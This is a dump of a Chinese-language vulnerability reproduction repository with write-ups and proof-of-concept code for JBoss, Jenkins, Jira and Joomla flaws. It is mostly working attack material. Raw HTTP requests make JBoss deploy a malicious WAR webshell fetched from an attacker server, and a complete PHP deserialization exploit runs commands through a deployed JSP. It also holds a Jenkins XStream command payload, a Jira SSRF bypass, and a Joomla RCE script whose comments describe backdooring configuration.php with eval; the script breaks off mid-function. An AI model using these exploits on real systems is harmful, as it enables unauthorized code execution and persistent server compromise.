CVE-2007-1036 2 | -- 3 | 4 | ### 复现环境 5 | jdk 1.8 6 | jboss 4.2.0 7 | 8 | ### 复现方法 9 | 10 | ``` 11 | POST /jmx-console/HtmlAdaptor HTTP/1.1 12 | Host: 127.0.0.1:8080 13 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36 14 | Accept-Encoding: gzip, deflate 15 | Accept: */* 16 | Connection: close 17 | Content-Length: 150 18 | Content-Type: application/x-www-form-urlencoded 19 | 20 | action=invokeOpByName&name=jboss.system%3Aservice%3DMainDeployer&methodName=deploy&argType=java.lang.String&arg0=http://xxxxxx/a.war 21 | ``` 22 | 23 | ![](assets/burp_poc.png) 24 | 25 | 其中arg0是攻击者服务器上放置的恶意war包,包中可以放置jsp大马、小马什么的。 26 | 27 | ### msf exp 28 | 29 | https://www.exploit-db.com/exploits/16318 30 | 31 | ### python poc 32 | 33 | jboss_file_creation_cve20072036 34 | 自己根据msf exp改一下吧,不方便放出来 -------------------------------------------------------------------------------- /jboss/cve-2010-0738/assets/burp_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2010-0738/assets/burp_poc.png -------------------------------------------------------------------------------- /jboss/cve-2010-0738/assets/python_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2010-0738/assets/python_poc.png -------------------------------------------------------------------------------- /jboss/cve-2010-0738/assets/python_poc1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2010-0738/assets/python_poc1.png -------------------------------------------------------------------------------- /jboss/cve-2010-0738/readme.md: -------------------------------------------------------------------------------- 1 | CVE-2010-0738 2 | -- 3 | 4 | ### 利用方法 5 | 6 | 7 | ``` 8 | HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.system:service=MainDeployer&methodName=deploy&argType=java.lang.String&arg0=http://xxx/a.war HTTP/1.1 9 | Host: 127.0.0.1:8080 10 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36 11 | Accept-Encoding: gzip, deflate 12 | Accept: */* 13 | Connection: close 14 | 15 | 16 | ``` 17 | ![](assets/burp_poc.png) 18 | 19 | 其中arg0为恶意war包的线上地址。 -------------------------------------------------------------------------------- /jboss/cve-2013-4810/assets/a.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2013-4810/assets/a.war -------------------------------------------------------------------------------- /jboss/cve-2013-4810/assets/burp_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2013-4810/assets/burp_poc.png -------------------------------------------------------------------------------- /jboss/cve-2013-4810/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2013-4810/assets/poc.png -------------------------------------------------------------------------------- /jboss/cve-2013-4810/assets/python_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2013-4810/assets/python_poc.png -------------------------------------------------------------------------------- /jboss/cve-2013-4810/assets/usage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2013-4810/assets/usage.png -------------------------------------------------------------------------------- /jboss/cve-2013-4810/readme.md: -------------------------------------------------------------------------------- 1 | 反序列化导致文件上传漏洞(cve-2013-4810) 2 | -- 3 | 4 | ### exp-db的poc(php版本) 5 | 6 | ```php 7 | = 0x20 && $i <= 0x7E) ? chr($i) : $pad; 29 | } 30 | } 31 | $hex = str_split(bin2hex($data), $width*2); 32 | $chars = str_split(strtr($data, $from, $to), $width); 33 | $offset = 0; 34 | foreach ($hex as $i => $line) { 35 | echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . ']' . $newline; 36 | $offset += $width; 37 | } 38 | } 39 | 40 | $frag_i= 41 | "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". // ....sr.) org.jbos 42 | "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". // s.invoca tion.Mar 43 | "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". // shalledI nvocatio 44 | "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". // n...'A>. ....xppw 45 | "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". // .x..G..S .sr..jav 46 | "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". // a.lang.I nteger.. 47 | "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". // .....8.. .I..valu 48 | "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". // exr..jav a.lang.N 49 | "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". // umber... ........ 50 | "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". // xp&...sr .$org.jb 51 | "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". // oss.invo cation.M 52 | "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". // arshalle dValue.. 53 | "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77"; 54 | 55 | $frag_ii="\x00"; 56 | 57 | $frag_iii= 58 | "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". // .....ur. .[Ljava. 59 | "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". // lang.Obj ect;..X. 60 | "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". // .s)l...x p....sr. 61 | "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". // .javax.m anagemen 62 | "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". // t.Object Name.... 63 | "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". // .m.....x pt.!jbos 64 | "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". // s.system :service 65 | "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". // =MainDep loyerxt. 66 | "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". // .deployu q.~..... 67 | "\x01\x74". 68 | $url_len. 69 | $url. 70 | "\x75\x72\x00". 71 | "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". // ur..[ Ljava.la 72 | "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". // ng.Strin g;..V... 73 | "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". // {G...xp. ...t..ja 74 | "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67"; 75 | 76 | $frag_iv= 77 | "\x0d\xd3". 78 | "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". // ..xw.... .sr."org 79 | "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". // .jboss.i nvocatio 80 | "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". // n.Invoca tionKey. 81 | "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". // .r...... ..I..ord 82 | "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". // inalxp.. ..sq.~.. 83 | "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". // w....... ..p.W..x 84 | "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". // w.....sq .~...... 85 | "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". // sr.#org. jboss.in 86 | "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". // vocation .Invocat 87 | "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". // ionTypeY .:..+|.. 88 | "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". // ..I..ord inalxp.. 89 | "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". // ..sq.~.. ....pt.. 90 | "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". // JMX_OBJE CT_NAMEs 91 | "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". // r..javax .managem 92 | "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". // ent.Obje ctName.. 93 | "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". // ...m.... .xpt.!jb 94 | "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". // oss.syst em:servi 95 | "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". // ce=MainD eployerx 96 | "\x78"; // x 97 | 98 | $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv; 99 | 100 | //$pk=""POST /invoker/JMXInvokerServlet/ HTTP/1.1\r\n". //the same ... 101 | 102 | $pk="POST /invoker/EJBInvokerServlet/ HTTP/1.1\r\n". 103 | "ContentType: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation\r\n". 104 | "Accept-Encoding: x-gzip,x-deflate,gzip,deflate\r\n". 105 | "User-Agent: Java/1.6.0_21\r\n". 106 | "Host: ".$host.":".$port."\r\n". 107 | "Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n". 108 | "Connection: keep-alive\r\n". 109 | "Content-type: application/x-www-form-urlencoded\r\n". 110 | "Content-Length: ".strlen($data)."\r\n\r\n". 111 | $data; 112 | echo hex_dump($pk)."\n"; 113 | $fp=fsockopen($host,$port,$e,$err,3); 114 | fputs($fp,$pk); 115 | $out=fread($fp,8192); 116 | fclose($fp); 117 | echo hex_dump($out)."\n"; 118 | 119 | sleep(5); 120 | // 验证war包是否成功部署 121 | $pk="GET /a/pwn.jsp?cmd=".urlencode($cmd)." HTTP/1.0\r\n". 122 | "Host: ".$host.":".$port."\r\n". 123 | "Connection: Close\r\n\r\n"; 124 | 125 | 126 | echo hex_dump($pk)."\n"; 127 | $fp=fsockopen($host,$port,$e,$err,3); 128 | fputs($fp,$pk); 129 | $out=""; 130 | while (!feof($fp)) { 131 | $out.=fread($fp,8192); 132 | } 133 | fclose($fp); 134 | echo $out; 135 | ?> 136 | 137 | ``` 138 | 139 | war包就是一个里面就是一个jsp小马,我放在assets目录里了。 140 | 141 | 142 | ### 复现环境 143 | 144 | jboss 4.2.0 145 | jdk 1.8 146 | 147 | ### 利用方法 148 | 149 | ![](assets/usage.png) 150 | 151 | poc的两个参数分别为目标主机地址,和你想要执行的命令,我的小马是没有回显的,所以,我直接用命令打开我的wireshark,效果如下: 152 | 153 | ![](assets/poc.png) 154 | 155 | 至此,复现成功! 156 | 157 | ### python版poc 158 | 159 | ![](assets/python_poc.png) 160 | 161 | python poc直接根据php版本进行修改的 162 | 163 | ![](assets/burp_poc.png) 164 | 165 | -------------------------------------------------------------------------------- /jboss/cve-2017-7504/assets/poc1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2017-7504/assets/poc1.png -------------------------------------------------------------------------------- /jboss/cve-2017-7504/assets/poc2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2017-7504/assets/poc2.png -------------------------------------------------------------------------------- /jboss/cve-2017-7504/readme.md: -------------------------------------------------------------------------------- 1 | JBoss 4.x JBossMQ JMS 反序列化漏洞 2 | -- 3 | 4 | 复现环境来自vulhub: 5 | https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504 6 | 7 | 8 | 9 | Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 10 | 11 | 参考: 12 | 13 | - https://github.com/joaomatosf/JavaDeserH2HC 14 | - https://www.youtube.com/watch?v=jVMr4eeJ2Po 15 | 16 | ## 漏洞环境 17 | 18 | 执行如下命令启动JBoss AS 4.0.5: 19 | 20 | ``` 21 | docker-compose up -d 22 | ``` 23 | 24 | 环境启动后,目标为`http://your-ip:8080`。 25 | 26 | ## 漏洞复现 27 | 28 | 参考利用工具[JavaDeserH2HC](https://github.com/joaomatosf/JavaDeserH2HC),我们选择一个Gadget:`ExampleCommonsCollections1WithHashMap`,编译并生成序列化数据: 29 | 30 | ``` 31 | javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java 32 | java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "touch /tmp/success" 33 | ``` 34 | 35 | 可见,我们执行的命令是`touch /tmp/success`。执行完成后,将生成一个文件`ExampleCommonsCollections1WithHashMap.ser`,将该文件作为body发送如下数据包: 36 | 37 | ``` 38 | curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser 39 | ``` 40 | 41 | 上述是来自vulhub的readme,但是我在使用curl发送数据包的时候出现了一些问题,所以,我还是通过python写了个脚本来发送的payload,burp抓包如下(需要注意的是content-type为x-amf) 42 | 43 | ![](assets/poc1.png) 44 | 45 | 我执行的命令是ping我的dnslog平台,dnslog成功记录到 46 | 47 | ![](assets/poc2.png) 48 | 49 | 证明漏洞成功利用 50 | 51 | 52 | ### cve-2015-7501 53 | 54 | 这个漏洞与上个漏洞的poc是同一个,只是利用路径更改为/invoker/JMXInvokerServlet 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /jenkins/CVE-2018-1999002/readme.md: -------------------------------------------------------------------------------- 1 | ### 参考 2 | 3 | https://xz.aliyun.com/t/2486 -------------------------------------------------------------------------------- /jenkins/cve-2016-0792/assets/burp_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/cve-2016-0792/assets/burp_poc.png -------------------------------------------------------------------------------- /jenkins/cve-2016-0792/assets/burp_poc1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/cve-2016-0792/assets/burp_poc1.png -------------------------------------------------------------------------------- /jenkins/cve-2016-0792/assets/dnslog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/cve-2016-0792/assets/dnslog.png -------------------------------------------------------------------------------- /jenkins/cve-2016-0792/python_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/cve-2016-0792/python_poc.png -------------------------------------------------------------------------------- /jenkins/cve-2016-0792/readme.md: -------------------------------------------------------------------------------- 1 | ### 参考 2 | https://www.cnblogs.com/sevck/p/5225629.html 3 | 4 | 5 | ### 复现方法 6 | payload: 7 | 8 | ``` 9 | 10 | 11 | 12 | 13 | 14 | hashCode 15 | 16 | 17 | 18 | 19 | ping 20 | a65fBdj1.io.xxx.xxxx 21 | 22 | false 23 | 24 | 0 25 | 0 26 | 27 | 0 28 | start 29 | 30 | 31 | 32 | 33 | 1 34 | 35 | 36 | ``` 37 | 38 | ``标签中填写需要执行的命令 39 | 利用dnslog的方式实现命令回显 40 | 41 | ![](assets/burp_poc1.png) 42 | 43 | 44 | dnslog 平台收到执行的命令 45 | ![](assets/dnslog.png) 46 | 47 | -------------------------------------------------------------------------------- /jenkins/jenkins未授权RCE/assets/manage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/jenkins未授权RCE/assets/manage.png -------------------------------------------------------------------------------- /jenkins/jenkins未授权RCE/assets/python_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/jenkins未授权RCE/assets/python_poc.png -------------------------------------------------------------------------------- /jenkins/jenkins未授权RCE/assets/script.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jenkins/jenkins未授权RCE/assets/script.png -------------------------------------------------------------------------------- /jenkins/jenkins未授权RCE/readme.md: -------------------------------------------------------------------------------- 1 | 在未授权的情况下可以访问控制台 2 | 3 | ![](assets/manage.png) 4 | 5 | 也可以直接访问可以执行命令的script页面 6 | 7 | ![](assets/script.png) 8 | 9 | -------------------------------------------------------------------------------- /jetty/jetty漏洞收集.md: -------------------------------------------------------------------------------- 1 | ### jetty心脏滴血(CVE-2015-2080) 2 | 3 | 参考: 4 | http://drop.zone.ci/drops/[CVE-2015-2080]%20Jetty%20web%20server%20%E8%BF%9C%E7%A8%8B%E5%85%B1%E4%BA%AB%E7%BC%93%E5%86%B2%E5%8C%BA%E6%B3%84%E6%BC%8F.html 5 | 6 | 复现了几个版本没有成功,先放在这里 7 | 8 | ### python poc参考 9 | 10 | https://github.com/GDSSecurity/Jetleak-Testing-Script/blob/master/jetleak_tester.py 11 | 12 | -------------------------------------------------------------------------------- /jira/未授权ssrf/assets/burp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jira/未授权ssrf/assets/burp.png -------------------------------------------------------------------------------- /jira/未授权ssrf/assets/python_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jira/未授权ssrf/assets/python_poc.png -------------------------------------------------------------------------------- /jira/未授权ssrf/readme.md: -------------------------------------------------------------------------------- 1 | # Jira未授权SSRF漏洞(CVE-2019-8451) 2 | **请求** 3 | ``` 4 | GET /plugins/servlet/gadgets/makeRequest?url=http://34.xxx.xxx.135:9090@www.baidu.com HTTP/1.1 5 | Host: 34.xxx.xxx.135:9090 6 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0 7 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 8 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 9 | Accept-Encoding: gzip, deflate 10 | Connection: close 11 | Cookie: atlassian.xsrf.token=BLK9-HZ8Q-DNV4-7BNM|3b3e4362eb4f9ff72dd239df8f66fcb6984cc995|lout; JSESSIONID=1BCD9172AD4BD6916970E134F6CE68C9 12 | Upgrade-Insecure-Requests: 1 13 | X-Atlassian-Token: no-check 14 | Pragma: no-cache 15 | Cache-Control: no-cache 16 | 17 | 18 | ``` 19 | 20 | **响应** 21 | 22 | ``` 23 | HTTP/1.1 200 24 | X-AREQUESTID: 580x26659x1 25 | X-ASESSIONID: f5m6h0 26 | X-ASEN: SEN-L10048033 27 | X-AUSERNAME: anonymous 28 | X-Content-Type-Options: nosniff 29 | Expires: Tue, 08 Oct 2019 09:40:18 GMT 30 | Pragma: no-cache 31 | Cache-Control: no-cache 32 | Content-Disposition: attachment;filename=p.txt 33 | Vary: User-Agent 34 | Content-Type: application/json;charset=UTF-8 35 | Content-Length: 2614 36 | Date: Tue, 08 Oct 2019 09:40:18 GMT 37 | Connection: close 38 | 39 | throw 1; < don't be evil' >{"http://34.xxx.xxx.135:9090@www.baidu.com":{"rc":200,"headers":{"set-cookie":["BDORZ=27315; max-age=86400; domain=.baidu.com; path=/"]},"body":"\r\n 百度一下,你就知道<\/title><\/head> <body link=#0000cc> <div id=wrapper> <div id=head> <div class=head_wrapper> <div class=s_form> <div class=s_form_wrapper> <div id=lg> <img hidefocus=true src=//www.baidu.com/img/bd_logo1.png width=270 height=129> <\/div> <form id=form name=f action=//www.baidu.com/s class=fm> <input type=hidden name=bdorz_come value=1> <input type=hidden name=ie value=utf-8> <input type=hidden name=f value=8> <input type=hidden name=rsv_bp value=1> <input type=hidden name=rsv_idx value=1> <input type=hidden name=tn value=baidu><span class=\"bg s_ipt_wr\"><input id=kw name=wd class=s_ipt value maxlength=255 autocomplete=off autofocus><\/span><span class=\"bg s_btn_wr\"><input type=submit id=su value=百度一下 class=\"bg s_btn\"><\/span> <\/form> <\/div> <\/div> <div id=u1> <a href=http://news.baidu.com name=tj_trnews class=mnav>新闻<\/a> <a href=http://www.hao123.com name=tj_trhao123 class=mnav>hao123<\/a> <a href=http://map.baidu.com name=tj_trmap class=mnav>地图<\/a> <a href=http://v.baidu.com name=tj_trvideo class=mnav>视频<\/a> <a href=http://tieba.baidu.com name=tj_trtieba class=mnav>贴吧<\/a> <noscript> <a href=http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2f%3fbdorz_come%3d1 name=tj_login class=lb>登录<\/a> <\/noscript> <script>document.write('<a href=\"http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u='+ encodeURIComponent(window.location.href+ (window.location.search === \"\" ? \"?\" : \"&\")+ \"bdorz_come=1\")+ '\" name=\"tj_login\" class=\"lb\">登录<\/a>');<\/script> <a href=//www.baidu.com/more/ name=tj_briicon class=bri style=\"display: block;\">更多产品<\/a> <\/div> <\/div> <\/div> <div id=ftCon> <div id=ftConw> <p id=lh> <a href=http://home.baidu.com>关于百度<\/a> <a href=http://ir.baidu.com>About Baidu<\/a> <\/p> <p id=cp>©2017 Baidu <a href=http://www.baidu.com/duty/>使用百度前必读<\/a>  <a href=http://jianyi.baidu.com/ class=cp-feedback>意见反馈<\/a> äº¬ICP证030173号  <img src=//www.baidu.com/img/gs.gif> <\/p> <\/div> <\/div> <\/div> <\/body> <\/html>\r\n"}} 40 | ``` 41 | 42 | ![](assets/burp.png) 43 | 44 | 45 | 随便在网上找了个现成的例子,看看就好 46 | 47 | #### 几个比较关键的点 48 | 49 | - 请求头`X-Atlassian-Token: no-check`必不可少,少了会直接返回404页面 50 | - 参数url需要绕过后端检查,把目标主机端口,放在url中的用户名密码位置,以实现绕过 -------------------------------------------------------------------------------- /joomla/joomla3.4.6 未授权rce/assets/exp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/joomla/joomla3.4.6 未授权rce/assets/exp.png -------------------------------------------------------------------------------- /joomla/joomla3.4.6 未授权rce/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/joomla/joomla3.4.6 未授权rce/assets/poc.png -------------------------------------------------------------------------------- /joomla/joomla3.4.6 未授权rce/assets/python_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/joomla/joomla3.4.6 未授权rce/assets/python_poc.png -------------------------------------------------------------------------------- /joomla/joomla3.4.6 未授权rce/assets/shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/joomla/joomla3.4.6 未授权rce/assets/shell.png -------------------------------------------------------------------------------- /joomla/joomla3.4.6 未授权rce/joomla346_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | from bs4 import BeautifulSoup 5 | import sys 6 | import string 7 | import random 8 | import argparse 9 | from termcolor import colored 10 | 11 | PROXS = {'http': '127.0.0.1:8080'} 12 | PROXS = {} 13 | 14 | 15 | def random_string(stringLength): 16 | letters = string.ascii_lowercase 17 | return ''.join(random.choice(letters) for i in range(stringLength)) 18 | 19 | 20 | backdoor_param = random_string(50) 21 | 22 | 23 | def print_info(str): 24 | print(colored("[*] " + str, "cyan")) 25 | 26 | 27 | def print_ok(str): 28 | print(colored("[+] " + str, "green")) 29 | 30 | 31 | def print_error(str): 32 | print(colored("[-] " + str, "red")) 33 | 34 | 35 | def print_warning(str): 36 | print(colored("[!!] " + str, "yellow")) 37 | 38 | 39 | def get_token(url, cook): 40 | token = '' 41 | resp = requests.get(url, cookies=cook, proxies=PROXS) 42 | html = BeautifulSoup(resp.text, 'html.parser') 43 | # csrf token is the last input 44 | # print(html) 45 | csrf = "" 46 | for v in html.find_all('input'): 47 | csrf = v 48 | csrf = csrf.get('name') 49 | return csrf 50 | 51 | 52 | def get_error(url, cook): 53 | resp = requests.get(url, cookies=cook, proxies=PROXS) 54 | if 'Failed to decode session object' in resp.text: 55 | # print(resp.text) 56 | return False 57 | # print(resp.text) 58 | return True 59 | 60 | 61 | def get_cook(url): 62 | resp = requests.get(url, proxies=PROXS) 63 | # print(resp.cookies) 64 | return resp.cookies 65 | 66 | 67 | def gen_pay(function, command): 68 | # Generate the payload for call_user_func('FUNCTION','COMMAND') 69 | template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' 70 | # payload = command + ' || $a=\'http://wtf\';' 71 | payload = 'http://l4m3rz.l337/;' + command 72 | # Following payload will append an eval() at the enabled of the configuration file 73 | # payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';' 74 | function_len = len(function) 75 | final = template.replace('PAYLOAD', payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', 76 | function).replace( 77 | 'FUNC_LEN', str(len(function))) 78 | return final 79 | 80 | 81 | def make_req(url, object_payload): 82 | # just make a req with object 83 | print_info('Getting Session Cookie ..') 84 | cook = get_cook(url) 85 | print_info('Getting CSRF Token ..') 86 | csrf = get_token(url, cook) 87 | 88 | user_payload = '\\0\\0\\0' * 9 89 | padding = 'AAA' # It will land at this padding 90 | working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}' 91 | clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects 92 | 93 | inj_object = '";' 94 | inj_object += object_payload 95 | inj_object += 's:6:"return";s:102:' # end the object with the 'return' part 96 | password_payload = padding + inj_object 97 | params = { 98 | 'username': user_payload, 99 | 'password': password_payload, 100 | 'option': 'com_users', 101 | 'task': 'user.login', 102 | csrf: '1' 103 | } 104 | 105 | print_info('Sending request ..') 106 | resp = requests.post(url, proxies=PROXS, cookies=cook, data=params) 107 | return resp.text 108 | 109 | 110 | def get_backdoor_pay(): 111 | # This payload will backdoor the the configuration .PHP with an eval on POST request 112 | 113 | function = 'assert' 114 | template = 